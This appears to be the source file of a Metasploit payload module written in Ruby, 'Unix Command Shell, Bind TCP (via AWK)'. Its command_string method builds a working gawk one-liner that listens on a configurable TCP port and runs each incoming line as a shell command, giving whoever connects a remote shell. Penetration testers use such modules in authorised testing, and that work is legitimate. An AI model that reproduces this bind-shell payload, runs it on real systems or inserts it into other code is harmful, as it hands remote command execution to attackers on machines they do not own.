55 lines
1.4 KiB
Ruby
55 lines
1.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
require 'msf/base/sessions/command_shell'
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 136
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Unix Command Shell, Bind TCP (via AWK)',
|
|
'Description' => 'Listen for a connection and spawn a command shell via GNU AWK',
|
|
'Author' =>
|
|
[
|
|
'espreto <robertoespreto[at]gmail.com>',
|
|
'Ulisses Castro <uss.thebug[at]gmail.com>'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'gawk',
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => { },
|
|
'Payload' => ''
|
|
}
|
|
))
|
|
end
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
def generate
|
|
super + command_string
|
|
end
|
|
|
|
#
|
|
# Returns the command string to use for execution
|
|
#
|
|
def command_string
|
|
"awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=\"exit\");close(s)}}'"
|
|
end
|
|
end
|